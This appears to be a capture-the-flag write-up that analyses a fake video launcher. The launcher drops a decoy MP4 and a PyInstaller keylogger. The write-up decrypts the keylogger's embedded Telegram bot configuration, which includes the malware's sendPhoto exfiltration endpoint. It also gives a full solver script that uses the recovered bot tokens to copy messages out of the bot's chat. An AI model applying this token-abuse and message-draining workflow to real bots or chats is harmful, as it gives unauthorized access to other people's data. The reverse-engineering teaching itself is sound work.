UMCS Preliminary
VideoLauncher
UMCS Preliminary umcs preliminary, forensics, reverse engineering writeup covering VideoLauncher with analysis, solution steps, and final recovery notes.
Challenge Overview
Challenge Name: VideoLauncher
Category: Reverse / Malware Analysis / Forensics
Points: 310
Flag Format: UMCS{}
Provided File: VideoLauncher.7z
**Archive Password:[REDACTED_PASSWORD]infected`
The challenge provided a suspicious archive named VideoLauncher.7z. The scenario stated that a student clicked a video launcher and the machine started behaving strangely. The goal was to safely analyze the malware chain, recover its command-and-control configuration, and obtain the final flag.
The final flag was recovered from Telegram bot messages:
UMCS{sFx_KeY1o0Gg3R_T3l3gRam_B0t}
The captured Telegram output shows the flag in message IDs 21 and 48.
Initial Analysis
The analysis was performed statically first, without executing the malware.
The starting directory contained only the challenge archive:
ls
Output:
VideoLauncher.7z
The archive was password-protected. Using the provided password, it extracted into a Windows executable:
mkdir -p outer
7z x VideoLauncher.7z -pinfected -oouter
file outer/*
Output:
outer/VideoLauncher.exe: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 8 sections
The file looked like a Windows executable, but extracting it with unrar revealed that it was actually a WinRAR SFX self-extracting archive:
mkdir -p sfx_extract
unrar x outer/VideoLauncher.exe sfx_extract/
The SFX archive comment revealed its execution behavior:
Setup=chilllll.mp4
Setup=WinSystemUpdate.exe
TempMode
Silent=1
Overwrite=1
This means the launcher silently extracts and runs two files:
chilllll.mp4
WinSystemUpdate.exe
The extracted files were:
file sfx_extract/*
Output:
sfx_extract/chilllll.mp4: ISO Media, MP4 v2 [ISO 14496-14]
sfx_extract/WinSystemUpdate.exe: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 7 sections
The MP4 was likely a decoy video, while WinSystemUpdate.exe was the real payload.
Next, WinSystemUpdate.exe was extracted using pyinstxtractor.py:
python3 pyinstxtractor.py sfx_extract/WinSystemUpdate.exe
The extractor identified it as a PyInstaller package:
[+] Pyinstaller version: 2.1+
[+] Python version: 3.13
[+] Possible entry point: keylog.pyc
The important extracted file was:
WinSystemUpdate.exe_extracted/keylog.pyc
This indicated that the malware was a Python-based payload packaged with PyInstaller.
Vulnerability / Weakness Identification
The weakness was that the malware stored its Telegram bot configuration inside the client-side binary.
Although the sensitive values were encrypted with Fernet, the Fernet key was also stored inside the same keylog.pyc file. This made the encryption ineffective for protection, because anyone who extracted the PyInstaller package could recover both:
1. Fernet key
2. Encrypted Telegram configuration blobs
After decrypting the constants, the following values were recovered:
CHAT_ID:
1421332625
Primary bot token:
[REDACTED_TOKEN]
Fallback bot tokens:
[REDACTED_TOKEN]
[REDACTED_TOKEN]
[REDACTED_TOKEN]
[REDACTED_TOKEN]
The recovered malware URL used Telegram’s sendPhoto endpoint:
https://api.telegram.org/bot<TOKEN>/sendPhoto
This showed that the malware behaved like a screenshot/keylogger exfiltrator. It took screenshots or keylogs and sent them to a Telegram chat controlled by the bot.
The challenge was solvable because the Telegram bot tokens were valid, and the bot had access to the source chat ID. By using the Telegram Bot API, old messages from the chat could be copied or forwarded into our own Telegram chat and inspected.
Exploitation Strategy
The full exploitation strategy was:
1. Extract VideoLauncher.7z using the password infected.
2. Extract VideoLauncher.exe as a WinRAR SFX archive.
3. Identify WinSystemUpdate.exe as the real payload.
4. Extract WinSystemUpdate.exe with pyinstxtractor.py.
5. Load keylog.pyc and recover byte constants.
6. Identify the Fernet key and encrypted Fernet tokens.
7. Decrypt the Telegram bot URL and chat ID.
8. Extract primary and fallback Telegram bot tokens.
9. Validate all bot tokens using getMe.
10. Use the valid bot token and source chat ID to copy or forward messages.
11. Recover the flag from the copied Telegram messages.
The most reliable exploitation method was to use Telegram’s copyMessage or forwardMessage API method to retrieve messages from the source chat.
Manual testing confirmed that the primary bot could access the victim/source chat and copy messages into the attacker-controlled chat. The copied messages included IDs 1–56, 64–76, and 91.
Proof of Concept
1. Extract the 7z archive
cd ~/Desktop/'UMCS Prelim'/VideoLauncher
mkdir -p outer
7z x VideoLauncher.7z -pinfected -oouter
file outer/*
Expected output:
outer/VideoLauncher.exe: PE32+ executable for MS Windows 6.00 (GUI), x86-64
2. Extract the WinRAR SFX
mkdir -p sfx_extract
unrar x outer/VideoLauncher.exe sfx_extract/
ls -lah sfx_extract
file sfx_extract/*
Expected files:
chilllll.mp4
WinSystemUpdate.exe
The SFX script showed:
Setup=chilllll.mp4
Setup=WinSystemUpdate.exe
TempMode
Silent=1
Overwrite=1
This confirmed that the video was a decoy and WinSystemUpdate.exe was executed silently.
3. Extract PyInstaller payload
wget -O pyinstxtractor.py https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py
python3 pyinstxtractor.py sfx_extract/WinSystemUpdate.exe
find . -maxdepth 3 -type f -name 'keylog.pyc' -print
Expected output:
./WinSystemUpdate.exe_extracted/keylog.pyc
4. Decrypt Telegram configuration
A small Python script was used to load keylog.pyc, walk through the code constants, extract Fernet keys and encrypted blobs, then decrypt them.
Important recovered output:
[FERNET_KEY] [REDACTED_TOKEN]
[DECRYPTED] 1421332625
[DECRYPTED] https://api.telegram.org/bot[REDACTED_TOKEN]/sendPhoto
[DECRYPTED] If the above bot token is not working pls try other bot token provided here : [REDACTED_TOKEN] ,[REDACTED_TOKEN] , [REDACTED_TOKEN] , [REDACTED_TOKEN]
5. Validate the tokens
TOKENS=(
'[REDACTED_TOKEN]'
'[REDACTED_TOKEN]'
'[REDACTED_TOKEN]'
'[REDACTED_TOKEN]'
'[REDACTED_TOKEN]'
)
for t in "${TOKENS[@]}"; do
echo "===== $t ====="
curl -s "https://api.telegram.org/bot$t/getMe" | jq .
done
All five tokens returned "ok": true, confirming that the bot tokens were valid.
6. Copy messages from the source chat
The recovered source chat ID was:
1421332625
My Telegram chat ID was retrieved using getUpdates after sending /start to the bot:
BOT_AUTH='[redacted-bot-auth-value]'
curl -s "https://api.telegram.org/bot$BOT_AUTH/getUpdates?offset=-100&limit=100" \
| jq -r '.result[] | .message.chat.id? // .edited_message.chat.id? // empty' \
| sort -u
Output:
8574172934
Then messages were copied from the source chat:
BOT_AUTH='[redacted-bot-auth-value]'
SRC_CHAT='1421332625'
MY_CHAT='8574172934'
for id in $(seq 1 100); do
r=$(curl -s -X POST "https://api.telegram.org/bot$BOT_AUTH/copyMessage" \
-d "chat_id=$MY_CHAT" \
-d "from_chat_id=$SRC_CHAT" \
-d "message_id=$id")
if echo "$r" | jq -e '.ok == true' >/dev/null; then
echo "[+] copied message_id=$id"
fi
sleep 0.03
done
This successfully copied multiple messages from the bot-accessible source chat.
The captured messages contained:
here is the flag:
UMCS{sFx_KeY1o0Gg3R_T3l3gRam_B0t}
The flag was present in message IDs 21 and 48.
Full Python Solver
The following solver automates the main process:
#!/usr/bin/env python3
"""
VideoLauncher CTF Solver
This script:
1. Extracts VideoLauncher.7z.
2. Extracts the WinRAR SFX payload.
3. Extracts the PyInstaller payload using pyinstxtractor.py.
4. Parses keylog.pyc.
5. Decrypts Fernet-protected Telegram configuration.
6. Tests recovered Telegram bot tokens.
7. Optionally forwards messages from the recovered source chat to your Telegram chat.
8. Searches forwarded message responses for the UMCS{} flag.
Requirements:
- 7z
- unrar
- pyinstxtractor.py
- Python 3.13 recommended, because the payload pyc is Python 3.13
- pip packages: cryptography requests
"""
import argparse
import marshal
import os
import re
import shutil
import subprocess
import sys
import time
import types
from pathlib import Path
import requests
from cryptography.fernet import Fernet
FLAG_RE = re.compile(r"UMCS\{[^}]+\}|umcs\{[^}]+\}")
def run(cmd, cwd=None):
"""Run a shell command and stop if it fails."""
print(f"[CMD] {' '.join(map(str, cmd))}")
subprocess.run(cmd, cwd=cwd, check=True)
def extract_7z(archive: Path, password: str, out_dir: Path) -> Path:
"""Extract the outer password-protected 7z archive."""
out_dir.mkdir(exist_ok=True)
run([
"7z",
"x",
str(archive),
f"-p{password}",
f"-o{out_dir}",
"-y",
])
exe = out_dir / "VideoLauncher.exe"
if not exe.exists():
raise FileNotFoundError("VideoLauncher.exe was not found after 7z extraction.")
print(f"[+] Extracted outer executable: {exe}")
return exe
def extract_sfx_with_unrar(sfx_exe: Path, out_dir: Path) -> Path:
"""Extract the WinRAR SFX archive."""
out_dir.mkdir(exist_ok=True)
run(["unrar", "x", "-o+", str(sfx_exe), str(out_dir)])
payload = out_dir / "WinSystemUpdate.exe"
if not payload.exists():
raise FileNotFoundError("WinSystemUpdate.exe was not found after SFX extraction.")
print(f"[+] Extracted malware payload: {payload}")
return payload
def extract_pyinstaller(payload_exe: Path, pyinstxtractor: Path, work_dir: Path) -> Path:
"""
Extract the PyInstaller executable using pyinstxtractor.py.
The extracted directory is normally named:
WinSystemUpdate.exe_extracted
"""
if not pyinstxtractor.exists():
raise FileNotFoundError(
f"Missing {pyinstxtractor}. Download pyinstxtractor.py first."
)
run([sys.executable, str(pyinstxtractor), str(payload_exe)], cwd=work_dir)
extracted_dir = work_dir / "WinSystemUpdate.exe_extracted"
keylog = extracted_dir / "keylog.pyc"
if not keylog.exists():
matches = list(work_dir.rglob("keylog.pyc"))
if not matches:
raise FileNotFoundError("keylog.pyc was not found after PyInstaller extraction.")
keylog = matches[0]
extracted_dir = keylog.parent
print(f"[+] Found keylog.pyc: {keylog}")
return keylog
def load_pyc_code(pyc_path: Path):
"""
Load a .pyc code object.
PyInstaller entry-point pyc files may be raw marshal data or may include
a normal pyc header. Try common offsets.
"""
data = pyc_path.read_bytes()
for offset in (0, 12, 16):
try:
code = marshal.loads(data[offset:])
print(f"[+] Loaded pyc using marshal offset {offset}")
return code
except Exception:
pass
raise RuntimeError(
"Could not load keylog.pyc. Use the same Python major/minor version as the payload."
)
def walk_code_objects(code):
"""Recursively walk nested Python code objects."""
yield code
for const in code.co_consts:
if isinstance(const, types.CodeType):
yield from walk_code_objects(const)
def decrypt_config(keylog_pyc: Path):
"""
Extract Fernet key and encrypted blobs from keylog.pyc, then decrypt them.
Returns:
- chat_ids: list[str]
- tokens: list[str]
- decrypted_values: list[str]
"""
code = load_pyc_code(keylog_pyc)
blobs = []
for c in walk_code_objects(code):
for const in c.co_consts:
if isinstance(const, bytes):
blobs.append(const)
fernet_keys = [
b for b in blobs
if re.fullmatch(rb"[A-Za-z0-9_-]{43}=", b)
]
encrypted_blobs = [
b for b in blobs
if b.startswith(b"gAAAA")
]
print(f"[+] Fernet keys found: {len(fernet_keys)}")
print(f"[+] Encrypted blobs found: {len(encrypted_blobs)}")
decrypted_values = []
tokens = []
chat_ids = []
for key in fernet_keys:
print(f"[FERNET_KEY] {key.decode()}")
f = Fernet(key)
for blob in encrypted_blobs:
try:
value = f.decrypt(blob).decode()
except Exception:
continue
print(f"[DECRYPTED] {value}")
decrypted_values.append(value)
# Extract bot tokens from URLs or fallback text.
for token in re.findall(r"\b\d{8,12}:AA[A-Za-z0-9_-]{30,}\b", value):
if token not in tokens:
tokens.append(token)
# Extract chat ID.
if value.isdigit() and value not in chat_ids:
chat_ids.append(value)
return chat_ids, tokens, decrypted_values
def test_tokens(tokens):
"""Validate bot tokens with getMe."""
valid = []
for token in tokens:
url = f"https://api.telegram.org/bot{token}/getMe"
try:
r = requests.get(url, timeout=15)
data = r.json()
except Exception as e:
print(f"[-] Token test failed for {token}: {e}")
continue
if data.get("ok"):
username = data["result"].get("username")
print(f"[+] Valid token: {token} -> @{username}")
valid.append(token)
else:
print(f"[-] Invalid token: {token} -> {data}")
return valid
def get_updates_chat_ids(token):
"""Show possible chat IDs from getUpdates."""
url = f"https://api.telegram.org/bot{token}/getUpdates"
params = {"offset": -100, "limit": 100}
r = requests.get(url, params=params, timeout=15)
data = r.json()
ids = set()
for item in data.get("result", []):
for key in ("message", "edited_message"):
msg = item.get(key)
if msg and "chat" in msg:
ids.add(str(msg["chat"]["id"]))
return sorted(ids)
def forward_messages_and_find_flag(token, src_chat, my_chat, start_id, end_id, delay):
"""
Forward messages from the recovered source chat to our own chat.
forwardMessage returns the forwarded Message object, so we can inspect
text/caption directly from the API response.
"""
base = f"https://api.telegram.org/bot{token}"
out_dir = Path("forwarded_json")
out_dir.mkdir(exist_ok=True)
for msg_id in range(start_id, end_id + 1):
r = requests.post(
f"{base}/forwardMessage",
data={
"chat_id": my_chat,
"from_chat_id": src_chat,
"message_id": msg_id,
},
timeout=20,
)
try:
data = r.json()
except Exception:
print(f"[-] Non-JSON response for message_id={msg_id}: {r.text[:120]}")
continue
if not data.get("ok"):
time.sleep(delay)
continue
print(f"[+] Forwarded message_id={msg_id}")
json_path = out_dir / f"msg_{msg_id}.json"
json_path.write_text(r.text, encoding="utf-8")
result = data.get("result", {})
candidates = []
for field in ("text", "caption"):
if field in result:
candidates.append(result[field])
raw = r.text
candidates.append(raw)
for text in candidates:
match = FLAG_RE.search(text)
if match:
flag = match.group(0)
print(f"[+] FLAG FOUND in message_id={msg_id}: {flag}")
return flag
time.sleep(delay)
print("[-] No flag found in forwarded message range.")
return None
def main():
parser = argparse.ArgumentParser(
description="Solve the VideoLauncher malware CTF challenge."
)
parser.add_argument(
"--archive",
default="VideoLauncher.7z",
help="Path to VideoLauncher.7z",
)
parser.add_argument(
"--password",
default="infected",
help="7z archive password",
)
parser.add_argument(
"--pyinstxtractor",
default="pyinstxtractor.py",
help="Path to pyinstxtractor.py",
)
parser.add_argument(
"--my-chat",
default=None,
help="Your Telegram chat ID. Required for forwarding messages.",
)
parser.add_argument(
"--start-id",
type=int,
default=1,
help="First Telegram message ID to test",
)
parser.add_argument(
"--end-id",
type=int,
default=100,
help="Last Telegram message ID to test",
)
parser.add_argument(
"--delay",
type=float,
default=0.05,
help="Delay between Telegram API requests",
)
args = parser.parse_args()
archive = Path(args.archive).resolve()
pyinstxtractor = Path(args.pyinstxtractor).resolve()
work_dir = archive.parent
if not archive.exists():
raise FileNotFoundError(f"Archive not found: {archive}")
outer_dir = work_dir / "outer"
sfx_dir = work_dir / "sfx_extract"
# Extract chain.
sfx_exe = extract_7z(archive, args.password, outer_dir)
payload_exe = extract_sfx_with_unrar(sfx_exe, sfx_dir)
keylog_pyc = extract_pyinstaller(payload_exe, pyinstxtractor, work_dir)
# Decrypt config.
chat_ids, tokens, _ = decrypt_config(keylog_pyc)
if not chat_ids:
raise RuntimeError("No chat ID recovered.")
if not tokens:
raise RuntimeError("No Telegram bot tokens recovered.")
src_chat = chat_ids[0]
print(f"[+] Source chat ID: {src_chat}")
# Validate tokens.
valid_tokens = test_tokens(tokens)
if not valid_tokens:
raise RuntimeError("No valid Telegram bot tokens found.")
token = valid_tokens[0]
print(f"[+] Using token: {token}")
# If user did not provide my-chat, show available update chat IDs.
if not args.my_chat:
print()
print("[!] No --my-chat provided.")
print("[!] Send /start to the bot in Telegram, then rerun with --my-chat.")
print("[*] Candidate chat IDs from getUpdates:")
for cid in get_updates_chat_ids(token):
print(f" {cid}")
print()
print("Example:")
print(
f"python3 {Path(__file__).name} "
f"--archive {archive.name} "
f"--pyinstxtractor {pyinstxtractor.name} "
f"--my-chat YOUR_CHAT_ID"
)
return
# Forward messages and search for flag.
flag = forward_messages_and_find_flag(
token=token,
src_chat=src_chat,
my_chat=args.my_chat,
start_id=args.start_id,
end_id=args.end_id,
delay=args.delay,
)
if flag:
print()
print(f"[FINAL FLAG] {flag}")
else:
print()
print("[-] Flag not found. Increase --end-id, for example --end-id 1000.")
if __name__ == "__main__":
main()
Walkthrough
1. Prepare dependencies
On Kali, install system tools:
sudo apt update
sudo apt install -y 7zip unrar jq curl file python3-venv
Create a Python virtual environment:
python3 -m venv venv
source venv/bin/activate
pip install cryptography requests
Download pyinstxtractor.py:
wget -O pyinstxtractor.py https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py
Save the solver as:
solve_videolauncher.py
2. First run: recover tokens and chat ID
Run:
python3 solve_videolauncher.py \
--archive VideoLauncher.7z \
--password [REDACTED_PASSWORD] \
--pyinstxtractor pyinstxtractor.py
Expected important output:
[+] Extracted outer executable: outer/VideoLauncher.exe
[+] Extracted malware payload: sfx_extract/WinSystemUpdate.exe
[+] Found keylog.pyc: WinSystemUpdate.exe_extracted/keylog.pyc
[FERNET_KEY] [REDACTED_TOKEN]
[DECRYPTED] 1421332625
[DECRYPTED] https://api.telegram.org/bot[REDACTED_TOKEN]/sendPhoto
[+] Valid token: ... -> @NPC_UMCS_bot
If --my-chat is not provided, the script prints candidate chat IDs from getUpdates.
3. Get your Telegram chat ID
Send /start to the bot:
@NPC_UMCS_bot
Then run:
python3 solve_videolauncher.py \
--archive VideoLauncher.7z \
--password [REDACTED_PASSWORD] \
--pyinstxtractor pyinstxtractor.py
The script should show your chat ID from getUpdates.
In the solved run, the chat ID was:
8574172934
4. Run the full solve
python3 solve_videolauncher.py \
--archive VideoLauncher.7z \
--password [REDACTED_PASSWORD] \
--pyinstxtractor pyinstxtractor.py \
--my-chat 8574172934 \
--start-id 1 \
--end-id 100
Expected output:
[+] Forwarded message_id=21
[+] FLAG FOUND in message_id=21: UMCS{sFx_KeY1o0Gg3R_T3l3gRam_B0t}
[FINAL FLAG] UMCS{sFx_KeY1o0Gg3R_T3l3gRam_B0t}
Troubleshooting Notes
If Python fails to load keylog.pyc, use Python 3.13 because the PyInstaller payload was built with Python 3.13.
If Telegram returns:
{"ok":false,"error_code":401,"description":"Unauthorized"}
that token is invalid or revoked. In this challenge, the malware contained fallback tokens, so the solver checks all recovered tokens.
If no flag is found in the first 100 message IDs, increase the range:
--end-id 1000
If copyMessage works but forwardMessage does not show content in the terminal, check your Telegram chat manually and search for:
UMCS
flag
Flag
The recovered flag is:
UMCS{sFx_KeY1o0Gg3R_T3l3gRam_B0t}
It was recovered from Telegram messages copied or forwarded from source chat ID 1421332625. The captured output shows the flag at message IDs 21 and 48.
Conclusion
The challenge was a malware-analysis task involving a fake video launcher.
The execution chain was:
VideoLauncher.7z
→ VideoLauncher.exe
→ WinRAR SFX
→ chilllll.mp4
→ WinSystemUpdate.exe
→ PyInstaller Python payload
→ keylog.pyc
→ Fernet-encrypted Telegram configuration
→ Telegram bot messages
→ flag
The root cause was poor secret protection. The malware encrypted its Telegram configuration with Fernet, but stored the Fernet key in the same Python bytecode file. Once the PyInstaller package was extracted, the key and encrypted values could be recovered offline.
The key lesson is that encryption does not protect secrets if the decryption key is shipped with the client. In malware analysis and CTF reversing, encrypted strings are often recoverable when the binary contains both the ciphertext and the key.